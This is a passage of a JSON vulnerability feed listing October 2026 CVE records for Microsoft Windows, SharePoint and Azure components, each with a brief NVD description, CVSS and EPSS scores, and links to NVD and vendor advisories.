Azure","azure-keyvault-administration"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85922","asOf":"2026-10-16T17:54:26.490Z"},"epss":{"probability":0.00608,"percentile":0.48778,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85922&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85922","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85922","type":"primary","publishedAt":"2026-10-13T19:21:18.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85922","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85922&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85922, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85920","cveId":"CVE-2026-85920","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows BitLocker allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:18.133Z","updatedAt":"2026-10-16T17:55:21.767Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85920","asOf":"2026-10-16T17:55:21.767Z"},"epss":{"probability":0.00158,"percentile":0.04881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85920","type":"primary","publishedAt":"2026-10-13T19:21:18.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85920","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85918","cveId":"CVE-2026-85918","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:17.957Z","updatedAt":"2026-10-16T18:00:19.300Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85918","asOf":"2026-10-16T18:00:19.300Z"},"epss":{"probability":0.00246,"percentile":0.15675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85918","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85918","type":"primary","publishedAt":"2026-10-13T19:21:17.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85918","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85915","cveId":"CVE-2026-85915","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:17.677Z","updatedAt":"2026-10-16T18:01:46.503Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85915","asOf":"2026-10-16T18:01:46.503Z"},"epss":{"probability":0.00311,"percentile":0.23701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85915","type":"primary","publishedAt":"2026-10-13T19:21:17.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85915","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85914","cveId":"CVE-2026-85914","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:17.517Z","updatedAt":"2026-10-16T18:02:12.797Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85914","asOf":"2026-10-16T18:02:12.797Z"},"epss":{"probability":0.00199,"percentile":0.09604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85914","type":"primary","publishedAt":"2026-10-13T19:21:17.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85914","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85904","cveId":"CVE-2026-85904","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Device Association Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:16.223Z","updatedAt":"2026-10-16T17:33:15.457Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85904","asOf":"2026-10-16T17:33:15.457Z"},"epss":{"probability":0.00153,"percentile":0.04357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85904&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85904","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85904","type":"primary","publishedAt":"2026-10-13T19:21:16.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85904","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85904&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85904, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85903","cveId":"CVE-2026-85903","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:16.043Z","updatedAt":"2026-10-16T16:22:15.797Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85903","asOf":"2026-10-16T16:22:15.797Z"},"epss":{"probability":0.00703,"percentile":0.53021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85903&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85903","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85903","type":"primary","publishedAt":"2026-10-13T19:21:16.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85903","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85903&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85903, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85902","cveId":"CVE-2026-85902","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.880Z","updatedAt":"2026-10-16T17:34:28.713Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85902","asOf":"2026-10-16T17:34:28.713Z"},"epss":{"probability":0.00382,"percentile":0.31929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85902","type":"primary","publishedAt":"2026-10-13T19:21:15.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85902","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85901","cveId":"CVE-2026-85901","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.703Z","updatedAt":"2026-10-16T17:32:16.063Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85901","asOf":"2026-10-16T17:32:16.063Z"},"epss":{"probability":0.0041,"percentile":0.34952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85901","type":"primary","publishedAt":"2026-10-13T19:21:15.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85901","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85900","cveId":"CVE-2026-85900","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.567Z","updatedAt":"2026-10-14T19:44:28.480Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85900","asOf":"2026-10-14T19:44:28.480Z"},"epss":{"probability":0.01519,"percentile":0.74393,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85900","type":"primary","publishedAt":"2026-10-13T19:21:15.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85900","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85837","cveId":"CVE-2026-85837","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:09.747Z","updatedAt":"2026-10-16T17:31:07.567Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85837","asOf":"2026-10-16T17:31:07.567Z"},"epss":{"probability":0.00312,"percentile":0.23817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85837","type":"primary","publishedAt":"2026-10-13T19:21:09.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85837","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85836","cveId":"CVE-2026-85836","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:09.617Z","updatedAt":"2026-10-16T17:30:36.443Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85836","asOf":"2026-10-16T17:30:36.443Z"},"epss":{"probability":0.00312,"percentile":0.23818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85836","type":"primary","publishedAt":"2026-10-13T19:21:09.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85836","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and 